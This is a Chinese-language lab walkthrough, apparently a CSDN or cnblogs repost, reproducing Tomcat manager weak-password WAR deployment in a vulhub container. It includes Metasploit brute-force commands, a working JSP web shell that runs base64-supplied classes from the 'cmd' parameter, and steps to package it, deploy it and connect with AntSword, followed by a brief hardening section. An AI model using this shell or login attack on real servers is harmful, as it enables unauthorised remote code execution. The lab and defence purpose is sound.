服务器容器漏洞-tomcat后台弱口令war包部署

(191条消息) 漏洞复现 - - -Tomcat弱口令漏洞_干掉芹菜的博客-CSDN博客

1、介绍

名称:tomcat后台弱口令war包上传漏洞

编号:无

原理:

  • tomcat应用提供了后台管理页面,管理员登录后可以直接上传war包,并自动解压可访问上传文件
  • 如果网站管理员并未删除tomcat默认后台页面,也未限制公网任意ip访问,更未修改tomcat后台的默认账号密码或者说设置了弱账号密码
  • 那么攻击者可以从公网访问tomcat后台页面,爆破账号密码,如果成功则可以直接上传包含木马或病毒的war包,进行攻击。

应用:tomcat

版本:vulhub中靶场8.0.43是支持的,有博客提到8.x全系列存在该漏洞

2、测试

2.1 搭建靶场

靶场:/vulhub/tomcat/tomcat8

docker-compose up -d

访问http://192.168.0.15:8080,点击Host Manager,跳转http://192.168.0.15:8080/manager/html,要求登录验证

2.2 分析

(1)直接点击,请求http://192.168.0.15:8080/manager/html,报文401

burp统计响应报文长度2775,响应体部长度2473。自定义工具统计响应报文长度2757,响应体部长度2460。主要的区别是自定义工具删除了\r字符。

(2)输入账号密码,提交。

请求中增多了Authorization字段,其值为Basic 用户名:密码形式,用户名和密码进行base64编码。

当未登录成功,响应仍然为401

burp统计响应报文长度2775,响应体部长度2473。自定义工具统计响应报文长度2757,响应体部长度2460。主要的区别是自定义工具删除了\r字符。

(3)登录成功

响应报文字符长度17965,响应体部长度17655,状态码200。自定义工具处理后的响应体部字符长度为17327

2.3 获取账号密码

vulhub该漏洞的默认账号密码为tomcat/tomcat

(1)burp爆破方式

(2)msf方式

search tomcat login

use auxiliary/scanner/http/tomcat_mgr_login 

set RHOSTS 192.168.0.15

exploit

2.4 登录成功之后,上传war

(1)创建tomcat.jsp

<%!
      class U extends ClassLoader {
		  U(ClassLoader c){
			  super(c);
		  }
		  public Class g(byte[] b){
			  return super.defineClass(b,0,b.length);
		  }
	  }
	 public byte[] base64Decode(String str) throws Exception{
		 try{
			 Class clazz =Class.forName("sun.misc.BASE64Decoder");
			 return (byte[]) clazz.getMethod("decodeBuffer",String.class).invoke(clazz.newInstance(),str);
		 }catch (Exception e){
			 Class clazz =Class.forName("java.util.Base64");
			 Object decoder =clazz.getMethod("getDecoder").invoke(null);
			 return(byte[])decoder.getClass().getMethod("decode",String.class).invoke(decoder,str);
		 }
	 }
%>
<% 
       String cls =request.getParameter("cmd");
       if(cls != null){
         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);	 
 }
%>

(2)cmd打包war包

jar cvf tomcat.war tomcat.jsp

(3)上传

2.5 shell

访问如下,说明部署成功

中国蚁剑连接

3、漏洞防护

1)在系统上以低权限运行Tomcat应用程序。创建一个专门的 Tomcat服务用户,该用户只能拥有一组最小权限(例如不允许远程登录)。

2)增加对于本地和基于证书的身份验证,部署账户锁定机制(对于集中式认证,目录服务也要做相应配置)。在CATALINA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。

3)以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。

4)后台管理避免弱口令。

posted @ 2023-07-13 12:09  挖洞404  阅读(698)  评论(0编辑  收藏  举报